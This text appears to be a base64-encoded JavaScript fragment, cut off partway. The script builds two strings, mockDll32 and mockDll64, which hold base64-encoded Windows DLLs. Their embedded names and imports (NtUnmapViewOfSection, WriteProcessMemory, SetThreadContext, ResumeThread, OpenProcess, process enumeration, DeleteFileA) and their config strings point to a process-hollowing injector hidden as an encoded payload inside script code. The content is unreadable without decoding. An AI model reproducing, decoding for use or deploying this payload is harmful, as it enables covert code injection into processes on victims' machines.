RmVBQUFuQUZIWlhSUWNtbDJZWFJsVUhKdlptbHNaVk4wY21sdVowRUFBSmdDVUhKdlkyVnpjek15VG1WNGRBQ2xBVWRsZEZCeWIyTmxjM05KWkFBQSI7DQoJCW1vY2tEbGwzMiArPSAiZlFGSFpYUk5iMlIxYkdWR2FXeGxUbUZ0WlVFQUFIOEJSMlYwVFc5a2RXeGxTR0Z1Wkd4bFFRQUFjZ0JEY21WaGRHVlViMjlzYUdWc2NETXlVMjVoY0hOb2IzUUFBRFFBUTJ4diI7DQoJCW1vY2tEbGwzMiArPSAiYzJWSVlXNWtiR1VBclFOWGNtbDBaVkJ5YjJObGMzTk5aVzF2Y25rQUFOSUNVbVZ6ZFcxbFZHaHlaV0ZrQUFDREFFUmxiR1YwWlVacGJHVkJBRXRGVWs1RlRETXlMbVJzYkFBQSI7DQoJCW1vY2tEbGwzMiArPSAic2dKemNISnBiblJtQUUxVFZrTlNWQzVrYkd3QUFGNENabkpsWlFBQUR3RmZhVzVwZEhSbGNtMEFrUUp0WVd4c2IyTUFBSjBBWDJGa2FuVnpkRjltWkdsMkFBREJBVjl6ZEhKcCI7DQoJCW1vY2tEbGwzMiArPSAiWTIxd0FBQ1pBbTFsYlhObGRBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFFYyt1bE1BQUFBQXdpUUFBQUVBQUFBQkFBQUFBUUFBQUxna0FBQzhKQUFBd0NRQUFKQVZBQURXSkFBQSI7DQoJCW1vY2tEbGwzMiArPSAiQUFCdGIyTnJYM0oxYmpKZlYybHVNekl1Wkd4c0FFUnNiRkpsWjJsemRHVnlVMlZ5ZG1WeUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQSI7DQoJCW1vY2tEbGwzMiArPSAiQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQSI7DQoJCW1vY2tEbGwzMiArPSAiQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQSI7DQoJCW1vY2tEbGwzMiArPSAiQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQSI7DQoJCW1vY2tEbGwzMiArPSAiQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQSI7DQoJCW1vY2tEbGwzMiArPSAiQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQSI7DQoJCW1vY2tEbGwzMiArPSAiQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQSI7DQoJCW1vY2tEbGwzMiArPSAiQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQSI7DQoJCW1vY2tEbGwzMiArPSAiQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQSI7DQoJCW1vY2tEbGwzMiArPSAiQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQSI7DQoJCW1vY2tEbGwzMiArPSAiQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQSI7DQoJCW1vY2tEbGwzMiArPSAiQUFBQUFBQUFBQUFRQUFDNEFBQUFHVEFwTUVBd1V6QmlNSEl3aVRDUU1Md3d5ekRTTVBnd0JqRVFNVFl4V2pGME1lZ3hFekpVTW9veWtUSzdNc0l5OHpJY016c3pRRE5HTTAweiI7DQoJCW1vY2tEbGwzMiArPSAiY0RPU005OHpEalExTkQ4MFNUUnNOSFUwN3pUOE5CYzFSelZnTlhjMW16V3ZOZGMxM2pYMU5mbzFGRFlaTmlJMkp6WkJOa1kyU3pabE5tbzJiemFKTm80Mmt6YWpOcWcycmpibiI7DQoJCW1vY2tEbGwzMiArPSAiTnU4MjlUWUFOdzAzRlRjak55ZzNMVGN5TnowM1NqZFVOMmszZFRkN041MDNyemNMT0NnNE1qZ0FBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQSI7DQoJCW1vY2tEbGwzMiArPSAiQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQSI7DQoJCW1vY2tEbGwzMiArPSAiQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQSI7DQoJCW1vY2tEbGwzMiArPSAiQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQSI7DQoJCW1vY2tEbGwzMiArPSAiQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUEiOw0KCQl0aGlzLkJhc2U2NF9Nb2NrRGxsMzIgPSBtb2NrRGxsMzI7DQoJfSwNCgkNCglJbml0TW9ja0RsbDY0OmZ1bmN0aW9uKCl7DQoJCW1vY2tEbGw2NCA9ICIiOw0KCQltb2NrRGxsNjQgKz0gIlRWcVFBQU1BQUFBRUFBQUEvLzhBQUxnQUFBQUFBQUFBUUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBNkFBQUFBNGZ1ZzRBdEFuTkliZ0IiOw0KCQltb2NrRGxsNjQgKz0gIlRNMGhWR2hwY3lCd2NtOW5jbUZ0SUdOaGJtNXZkQ0JpWlNCeWRXNGdhVzRnUkU5VElHMXZaR1V1RFEwS0pBQUFBQUFBQUFDRlhPcjZ3VDJFcWNFOWhLbkJQWVNwYVVqNnFjQTkiOw0KCQltb2NrRGxsNjQgKz0gImhLbTNvUG1wd0QyRXFiZWc2YW5GUFlTcHQ2RC9xY1E5aEtuQlBZV3A2VDJFcWRxZ0s2bkNQWVNwMnFBZnFjQTloS25hb0JtcHdEMkVxVkpwWTJqQlBZU3BBQUFBQUFBQUFBQUEiOw0KCQltb2NrRGxsNjQgKz0gIkFBQUFBQUFBQUZCRkFBQmtoZ1FBU3o2NlV3QUFBQUFBQUFBQThBQWlJQXNDQ2dBQURBQUFBQXdBQUFBQUFBQndHUUFBQUJBQUFBQUFBSUFCQUFBQUFCQUFBQUFDQUFBRkFBSUEiOw0KCQltb2NrRGxsNjQgKz0gIkFBQUFBQVVBQWdBQUFBQUFBRkFBQUFBRUFBQUFBQUFBQWdCQUFRQUFFQUFBQUFBQUFCQUFBQUFBQUFBQUFCQUFBQUFBQUFBUUFBQUFBQUFBQUFBQUFCQUFBQUN3SmdBQVZnQUEiOw0KCQltb2NrRGxsNjQgKz0gIkFOQWlBQUE4QUFBQUFBQUFBQUFBQUFBQVFBQUFrQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUEiOw0KCQltb2NrRGxsNjQgKz0gIkFBQUFBQUFBQUFBQUFBQUFBQUFBSUFBQU1BRUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFDNTBaWGgwQUFBQXpnc0FBQUFRQUFBQURBQUFBQVFBQUFBQUFBQUEiOw0KCQltb2NrRGxsNjQgKz0gIkFBQUFBQUFBQUNBQUFHQXVjbVJoZEdFQUFBWUhBQUFBSUFBQUFBZ0FBQUFRQUFBQUFBQUFBQUFBQUFBQUFBQkFBQUJBTG1SaGRHRUFBQUF3QUFBQUFEQUFBQUFBQUFBQUFBQUEiOw0KCQltb2NrRGxsNjQgKz0gIkFBQUFBQUFBQUFBQUFBQUFRQUFBd0M1d1pHRjBZUUFBa0FBQUFBQkFBQUFBQWdBQUFCZ0FBQUFBQUFBQUFBQUFBQUFBQUVBQUFFQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUEiOw0KCQltb2NrRGxsNjQgKz0gIkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUEiOw0KCQltb2NrRGxsNjQgKz0gIkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUEiOw0KCQltb2NrRGxsNjQgKz0gIkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUEiOw0KCQltb2NrRGxsNjQgKz0gIkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUEiOw0KCQltb2NrRGxsNjQgKz0gIkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBRWlKWENRSVNJbDBKQmhYU0lQc1FFVXp5VWpIUkNRd0FBQUEiOw0KCQltb2NrRGxsNjQgKz0gIkFMb0FBQUNBUlkxQkFjZEVKQ2dBQUFBQXgwUWtJQU1BQUFEL0ZjNFBBQUJJaTloSWcvai9ENFNnQUFBQU05SklpOGovRmI0UEFBQ0wrSVA0L3crRWdRQUFBRFBKaTlkQnVBQXciOw0KCQltb2NrRGxsNjQgKz0gIkFBQkVqVWtFL3hVWEVBQUFTSXZ3U0lYQWRHVkZNOGxGTThBejBraUx5LzhWbGc4QUFFeU5UQ1JZUkl2SFNJdldTSXZMU01kRUpDQUFBQUFBL3hYUkR3QUFoY0IwSWp0OEpGaDEiOw0KCQltb2NrRGxsNjQgKz0gIkhFaUx5LzhWRGhBQUFFaUx4a2lMWENSUVNJdDBKR0JJZzhSQVg4TXowa0c0QUlBQUFFaUx6djhWV2c4QUFFaUx5LzhWNFE4QUFFaUxYQ1JRU0l0MEpHQXp3RWlEeEVCZnc4ek0iOw0KCQltb2NrRGxsNjQgKz0gInpNek16TXhJaVZ3a0NGZElnZXhRQVFBQWk5bEVpOEV6MHJuLy94OEEveFVwRHdBQVNJdjRTSVhBZEJlNkFRQUFBRWlMeVA4Vk93OEFBRWlMei84VmlnOEFBRWlOVENRa005SkIiOw0KCQltb2NrRGxsNjQgKz0gInVDd0JBQURIUkNRZ01BRUFBT2dNQ2dBQU05S05TZ0wvRlYwUEFBQklqVlFrSUVpTHlFaUwrUDhWdEE0QUFJWEFkQ0U1WENSQWRRbUxUQ1FvNkhuLy8vOUlqVlFrSUVpTHovOFYiOw0KCQltb2NrRGxsNjQgKz0gIkN3OEFBSVhBZGQ5SWk4Ly9GU1lQQUFCSWk1d2tZQUVBQUVpQnhGQUJBQUJmdzh6TXpNek16TXpNek16TXpNeElpVndrR0VpSmRDUWdWVmRCVkVGV1FWZElqYXdrTVBmLy8waUIiOw0KCQltb2NrRGxsNjQgKz0gIjdOQUpBQUJJaTRVZ0NRQUFNOXROaS9sSVkzQThTSWxjSkdoSmkvaElBL0pNaStKTWkvR0JQbEJGQUFCMEJ6UEE2WE1EQUFBejBraU5UWmhNaWF3a0FBb0FBRVNOUW1ESFJaQm8iOw0KCQltb2NrRGxsNjQgKz0gIkFBQUE2RFVKQUFCSWk4OW1pVjNRL3hXa0RnQUFTSWxjSkRCTWpVd2tlTG9BQUFCQVFiZ0RBQUFBU0l2UHgwUWtLSUFBQUFESFJDUjRHQUFBQUVpSlhZREhSWWdCQUFBQXgwUWsiOw0KCQltb2NrRGxsNjQgKz0gIklBSUFBQUQvRllzTkFBQk1pK2hJZy9qL0Q0VHdBZ0FBU0lsRjZFaUpSZkF6d0VpSlJDUllTSWxFSkdCSWpVUWtVRWlKUkNSSVNJMUZrRVV6eVVpSlJDUkFTSWxjSkRoSWlWd2siOw0KCQltb2NrRGxsNjQgKz0gIk1FVXp3RW1MMWpQSngwUWtLQVFBQUFESFJjd0JBUUFBU0lsY0pGREhSQ1FnQVFBQUFQOFZnQTBBQUlYQUQ0U0tBZ0FBU0kyTjBRUUFBRFBTUWJqL0F3QUFpSjNRQkFBQTZGb0kiOw0KCQltb2NrRGxsNjQgKz0gIkFBQkVpMHdrWUVpTkZUb09BQUJJalkzUUJBQUFUSXZIVElsOEpDRC9GZVVOQUFCSWc4bi9NOEJJamIzUUJBQUFUSTJOSUFrQUFQS3VTSTJWMEFRQUFFaUpYQ1FnU1BmUlRJMUIiOw0KCQltb2NrRGxsNjQgKz0gIi8wbUx6ZjhWNHd3QUFFbUx6ZjhWWWcwQUFFaU5UUWd6MGtHNHlBUUFBRWlKWFFEbzZRY0FBRWlMVENSWVNJMVZBTWRGTUFzQUVBRC9GVzhNQUFDRndBK0VyUUVBQUV5THJZZ0EiOw0KCQltb2NrRGxsNjQgKz0gIkFBQklpMHdrVUVpTmhRZ0pBQUJNalVRa2NFbU5WUkJCdVFnQUFBQklpVVFrSVA4Vm1nd0FBSVhBRDRSNEFRQUFTSU85Q0FrQUFBZ1BoV29CQUFCSWkwWXdTRGxFSkhCMUtVaU4iOw0KCQltb2NrRGxsNjQgKz0gIkRZb05BQUQvRmNRTUFBQklqUlZsRFFBQVNJdkkveFY4REFBQVNJdFVKSEJJaTB3a1VQL1FSSXRHVUVpTFZqQklpMHdrVUVHNUFEQUFBTWRFSkNCQUFBQUEveFZmREFBQVNJbEUiOw0KCQltb2NrRGxsNjQgKz0gIkpHaEloY0FQaENVQkFBQkVpMDVVU0kyTkNBa0FBRTJMeEVpSlRDUWdTSXRNSkZCSWk5RC9GWEFNQUFDRndBK0UzZ0FBQUl0R1ZFZzVoUWdKQUFBUGhjNEFBQUFQdDBZVVpqdGUiOw0KCQltb2NrRGxsNjQgKz0gIkJuTlZTSTE4TUNpTEI0WEFkRHlMVi94RWkwY0VTSXRNSkZCSUExUWthRVNMeUVpTmhRZ0pBQUJOQThSSWlVUWtJUDhWR2d3QUFJWEFENFNJQUFBQWl3ZElPNFVJQ1FBQWRYMFAiOw0KCQltb2NrRGxsNjQgKz0gInQwWUcvOE5JZzhjb085aDhzRWlMVENSUVNJMkZDQWtBQUV5TlJDUm9TWTFWRUVHNUNBQUFBRWlKUkNRZy94WFRDd0FBaGNCMFJVaUR2UWdKQUFBSWRUdUxSaWhJaTB3a1dFaU4iOw0KCQltb2NrRGxsNjQgKz0gIlZRQklBMFFrYUVpSmhZQUFBQUQvRmU4S0FBQklpMHdrV1A4VnBBc0FBRWlMVENSWS94V0pDd0FBU0l0RUpGRHJOa2lMVkNSb1NJWFNkQlJJaTB3a1VFRzVBSUFBQUVVendQOFYiOw0KCQltb2NrRGxsNjQgKz0gIjlBb0FBRWlMVENSWS94VlpDd0FBU0l0TUpGRC9GVTRMQUFBendFeUxyQ1FBQ2dBQVRJMmNKTkFKQUFCSmkxdEFTWXR6U0VtTDQwRmZRVjVCWEY5ZHcwaUpEV0VhQUFDNEFRQUEiOw0KCQltb2NrRGxsNjQgKz0gIkFNUE16TXhJaVZ3a0dGVklqYXdrZ092Ly83aUFGUUFBNkxnRkFBQklLK0JJaXcwMkdnQUFTSTFVSkRCQnVBVUJBQUQvRmMwS0FBQ0FmQ1F3QUVpTlhDUXdkQW1RU1AvRGdEc0EiOw0KCQltb2NrRGxsNjQgKz0gImRmaUFPeTUwQ3c4ZkFFai95NEE3TG5YNFNJMFZyUXNBQUVpTHkvOFZBQXNBQUlYQWRCYTRBUUFBQUVpTG5DU2dGUUFBU0lIRWdCVUFBRjNEaXdXTUN3QUFUSTFOUUV5TkJZWUwiOw0KCQltb2NrRGxsNjQgKz0gIkFBQ0pBdysyQlh3TEFBQklqUlY1Q3dBQWlFTUVTSTFFSkRCSWpRMXlDd0FBU0lsRUpDakhSQ1FnQlFFQUFFaUp0Q1NRRlFBQS94VWJDZ0FBVEkxY0pEQk1qWTFRQVFBQVRJbGMiOw0KCQltb2NrRGxsNjQgKz0gIkpDaE1qUVUwQ3dBQVNJMFZQQXNBQUVpTkRURUxBQURIUkNRZ0JRRUFBUDhWNXdrQUFFeU5YQ1F3VEkyTllBSUFBRXlKWENRb1RJMEZBQXNBQUVpTkZSQUxBQUJJalEzOUNnQUEiOw0KCQltb2NrRGxsNjQgKz0gIngwUWtJQVVCQUFEL0ZiTUpBQUJNalZ3a01FeU5qWEFEQUFCTWlWd2tLRXlOQmN3S0FBQklqUlhrQ2dBQVNJME55UW9BQU1kRUpDQUZBUUFBL3hWL0NRQUFUSTFNSkRCSWpSWEwiOw0KCQltb2NrRGxsNjQgKz0gIkNnQUFTSTBOcUFvQUFFVXp3UDhWR3drQUFFaU5qVkFCQUFDTDJPaTkrUC8vU0l2d1NJWEFENFFhQVFBQVNJMk5nUXdBQURQU1Fiai9Cd0FBU0ltOEpKZ1ZBQURHaFlBTUFBQUEiOw0KCQltb2NrRGxsNjQgKz0gIjZQSURBQUJJalkyQkJBQUFNOUpCdVA4SEFBREdoWUFFQUFBQTZOY0RBQUJNalkxZ0FnQUFUSTFGUUVpTkZlVUpBQUJJalkyQURBQUEveFZrQ1FBQVNJMkZZQUlBQUV5TmpWQUIiOw0KCQltb2NrRGxsNjQgKz0gIkFBQk1qVVZBU0kwVnl3a0FBRWlOallBRUFBQ0pYQ1FvU0lsRUpDRC9GVFVKQUFCQnUwMWFBQUJtUkRrZWRBUXovK3NsVEkyTmdBUUFBRXlOaFhBREFBQklqWTJBREFBQVNJdlciOw0KCQltb2NrRGxsNjQgKz0gIlNJbDBKQ0Rvcy9uLy8waUwrRFBTUWJnQWdBQUFTSXZPL3hVWENBQUFTSVgvZER1RjIzNHVaZzhmUkFBQXV1Z0RBQUJJaTgvL3kvOFY4QWNBQUlYQWRBU0YyM1hvU0l2UC94VlgiOw0KCQltb2NrRGxsNjQgKz0gIkNBQUFpOGpvcVBqLy8waUx6LzhWWndnQUFFaUx2Q1NZRlFBQVNJdTBKSkFWQUFCSWk1d2tvQlVBQURQQVNJSEVnQlVBQUYzRHpNek16TXpNek16TXpNek1TSVBzS0lYU2RYcUwiOw0KCQltb2NrRGxsNjQgKz0gIkJXSVhBQUNGd0ErT2h3QUFBRWlMRFhNWEFBRC95RWlGeVlrRlNCY0FBSFJPU0lzRlZ4Y0FBRWlENkFoSU84RklpUVZKRndBQWNpWklnemdBZEJEL0VFaUxEVUFYQUFCSWl3VXgiOw0KCQltb2NrRGxsNjQgKz0gIkZ3QUFTSVBvQ0VnN3dVaUpCU01YQUFCejJ2OFZBd2dBQUVqSEJSZ1hBQUFBQUFBQXVBRUFBQUJJZzhRb3c0UDZBWFh4dVFBQkFBRG96d0VBQUVpRndFaUpCZlVXQUFCMUJ6UEEiOw0KCQltb2NrRGxsNjQgKz0gIlNJUEVLTU5JeHdBQUFBQUFTSXNGM2hZQUFFaU5GZThIQUFCSWpRM2dCd0FBU0lrRndSWUFBT2lFQVFBQS93V2VGZ0FBdUFFQUFBQklnOFFvdzh6TXpNeElnK3dvaGRKSWlWd2siOw0KCQltb2NrRGxsNjQgKz0gIk1FaUpiQ1E0U0lsMEpFQ0wya2lMNlVtTDhIVWVPUlZyRmdBQWRWa3p3RWlMZENSQVNJdHNKRGhJaTF3a01FaUR4Q2pEZy9vQmRBV0QrZ0oxT1VpTEJXb1dBQUJJaGNCMEJ2L1EiOw0KCQltb2NrRGxsNjQgKz0gImhjQjBFVXlMeG92VFNJdk42THIrLy8rRndIVVdNOEJJaTNRa1FFaUxiQ1E0U0l0Y0pEQklnOFFvdzB5THhvdlRTSXZOU0lsOEpFam9udnYvLzRQN0FZdjRENFYrQUFBQWhjQVAiOw0KCQltb2NrRGxsNjQgKz0gImhiQUFBQUNMRGVVVkFBQ0Z5UStPb2dBQUFQL0ppUTNWRlFBQVNJc043aFVBQUVpRnlRK0VpZ0FBQUVpTEJkWVZBQUJJZytnSVNEdkJTSWtGeUJVQUFISW1TSU00QUhRUS94QkkiOw0KCQltb2NrRGxsNjQgKz0gIml3Mi9GUUFBU0lzRnNCVUFBRWlENkFoSU84RklpUVdpRlFBQWM5ci9GWUlHQUFCSXh3V1hGUUFBQUFBQUFPczZoZHQwQllQN0EzVXhUSXZHaTlOSWk4M283LzMvLzRYQWRRUXoiOw0KCQltb2NrRGxsNjQgKz0gIi8rc2NoZjkwR0VpTEJYUVZBQUJJaGNCMERFeUx4b3ZUU0l2Ti85Q0wrRWlMZENSQVNJdHNKRGhJaTF3a01JdkhTSXQ4SkVoSWc4UW93LzhsRWdZQUFNek16TXpNek16TXpNeEkiOw0KCQltb2NrRGxsNjQgKz0gImcrd29TSWxzSkRoSWlYUWtRRWlKZkNSSU0vOUlpVndrTUVpTDhiMy8vLy8vU0l2TzZFUUFBQUJJaGNCSWk5aDFJNHZQL3hXK0JRQUFSSTJmNkFNQUFFR0IrMkRxQUFCQmkvc1AiOw0KCQltb2NrRGxsNjQgKz0gIlIvMDcvWFhRU0l2RFNJdDhKRWhJaTNRa1FFaUxiQ1E0U0l0Y0pEQklnOFFvdy84bHBBVUFBUDhsdGdVQUFNek16TXpNek16TXpNek16R1ptWnBCbVptYVFacEJJZyt3UVRJa1UiOw0KCQltb2NrRGxsNjQgKz0gIkpFeUpYQ1FJVFRQYlRJMVVKQmhNSzlCTkQwTFRaVXlMSENVUUFBQUFUVHZUY3habVFZSGlBUEJOalpzQThQLy9RY1lEQUUwNzAzWHdUSXNVSkV5TFhDUUlTSVBFRU1NQUFBQUEiOw0KCQltb2NrRGxsNjQgKz0gIkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFFQWtBQUFBQUFBQVZDUUFBQUFBQUFCaUpBQUFBQUFBQUhBa0FBQUEiOw0KCQltb2NrRGxsNjQgKz0gIkFBQUFoQ1FBQUFBQUFBQ1dKQUFBQUFBQUFLZ2tBQUFBQUFBQXZpUUFBQUFBQUFETUpBQUFBQUFBQU5na0FBQUFBQUFBNWlRQUFBQUFBQUQrSkFBQUFBQUFBQTRsQUFBQUFBQUEiOw0KCQltb2NrRGxsNjQgKz0gIklpVUFBQUFBQUFBMEpRQUFBQUFBQUVnbEFBQUFBQUFBVkNVQUFBQUFBQUJtSlFBQUFBQUFBSFlsQUFBQUFBQUFpQ1VBQUFBQUFBQ2tKUUFBQUFBQUFMUWxBQUFBQUFBQXhDVUEiOw0KCQltb2NrRGxsNjQgKz0gIkFBQUFBQURhSlFBQUFBQUFBTzRsQUFBQUFBQUFDaVlBQUFBQUFBQVlKZ0FBQUFBQUFDNG1BQUFBQUFBQVBpWUFBQUFBQUFDT0pnQUFBQUFBQUFBQUFBQUFBQUFBY0NZQUFBQUEiOw0KCQltb2NrRGxsNjQgKz0gIkFBQjhKZ0FBQUFBQUFJUW1BQUFBQUFBQVdpWUFBQUFBQUFDV0pnQUFBQUFBQUtJbUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUEiOw0KCQltb2NrRGxsNjQgKz0gIkFBQUFBQUFBQUNWekNsQkpSRDBsWkFvbGN3QUFBQUJPZEZWdWJXRndWbWxsZDA5bVUyVmpkR2x2YmdBQUFBQnVkR1JzYkM1a2JHd0FBQUFsY3lBbGN3QUFBQUFBQUFCTmIyTnIiOw0KCQltb2NrRGxsNjQgKz0gIlRXOWtkV3hsUFNWekNsSmxZV3hEYldROUpYTWdKWE1LVkdsdFpVOTFkRDBsWkFvS0FBQUFBQzVrYkd3QUFBQUFMbWx1YVFBQUFBQnRiMk5yQUFBQUFHTm1ad0J5WldGc0FBQUEiOw0KCQltb2NrRGxsNjQgKz0gIkFHRnlaM01BQUFBQWIzVjBaZ0FBQUFCMGFXMWxBQUFBQUFFRUFRQUVRZ0FBQVkwSkFJMTBDUUFWWkFnQUVGUUhBQXMwQmdBRVFnQUFBUm9KQUJvMEJnQVRkQWtBRG1RSUFBbFUiOw0KCQltb2NrRGxsNjQgKz0gIkJ3QUVRZ0FBSVFBQUFNQVJBQUFYRWdBQVZDSUFBQ0VJQWdBSTFFQUJ3QkVBQUJjU0FBQlVJZ0FBQVNFTEFDRmtRd0VoTkVJQklRRTZBUkx3RU9BT3dBeHdDMUFBQUFFTkJRQU4iOw0KCQltb2NrRGxsNjQgKz0gIk5Dd0FEUUVxQUFad0FBQUJEd1lBRDJRTUFBODBDZ0FQY2d0d0lRQUFBTEFWQUFCZUZ3QUF0Q0lBQUNFSUFnQUlkTE1Dc0JVQUFGNFhBQUMwSWdBQUFjY0hBTWRrc2dJYk5MUUMiOw0KCQltb2NrRGxsNjQgKz0gIkd3R3dBZ1pRQUFBQkJBRUFCQklBQUJBakFBQUFBQUFBQUFBQUFFd21BQUFBSUFBQUNDUUFBQUFBQUFBQUFBQUFaQ1lBQVBnZ0FBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUEiOw0KCQltb2NrRGxsNjQgKz0gIkFBQUFBQUJBSkFBQUFBQUFBRlFrQUFBQUFBQUFZaVFBQUFBQUFBQndKQUFBQUFBQUFJUWtBQUFBQUFBQWxpUUFBQUFBQUFDb0pBQUFBQUFBQUw0a0FBQUFBQUFBekNRQUFBQUEiOw0KCQltb2NrRGxsNjQgKz0gIkFBRFlKQUFBQUFBQUFPWWtBQUFBQUFBQS9pUUFBQUFBQUFBT0pRQUFBQUFBQUNJbEFBQUFBQUFBTkNVQUFBQUFBQUJJSlFBQUFBQUFBRlFsQUFBQUFBQUFaaVVBQUFBQUFBQjIiOw0KCQltb2NrRGxsNjQgKz0gIkpRQUFBQUFBQUlnbEFBQUFBQUFBcENVQUFBQUFBQUMwSlFBQUFBQUFBTVFsQUFBQUFBQUEyaVVBQUFBQUFBRHVKUUFBQUFBQUFBb21BQUFBQUFBQUdDWUFBQUFBQUFBdUpnQUEiOw0KCQltb2NrRGxsNjQgKz0gIkFBQUFBRDRtQUFBQUFBQUFqaVlBQUFBQUFBQUFBQUFBQUFBQUFIQW1BQUFBQUFBQWZDWUFBQUFBQUFDRUpnQUFBQUFBQUZvbUFBQUFBQUFBbGlZQUFBQUFBQUNpSmdBQUFBQUEiOw0KCQltb2NrRGxsNjQgKz0gIkFBQUFBQUFBQUFBQTJRRkhaWFJVYUhKbFlXUkRiMjUwWlhoMEFBQldBRU55WldGMFpVWnBiR1ZCQUdZQlIyVjBSbWxzWlZOcGVtVUFSZ05UWlhSVWFISmxZV1JEYjI1MFpYaDAiOw0KCQltb2NrRGxsNjQgKz0gIkFBQWlBMU5sZEVacGJHVlFiMmx1ZEdWeUFBQ1NBbEJ5YjJObGMzTXpNa1pwY25OMEFBQ1dBMWRoYVhSR2IzSlRhVzVuYkdWUFltcGxZM1FBaVFOV2FYSjBkV0ZzUm5KbFpRQ3EiOw0KCQltb2NrRGxsNjQgKz0gIkExZHlhWFJsUm1sc1pRQ0NBazl3Wlc1UWNtOWpaWE56QUpnQlIyVjBVSEpwZG1GMFpWQnliMlpwYkdWSmJuUkJBSW9EVm1seWRIVmhiRVp5WldWRmVBQzBBbEpsWVdSUW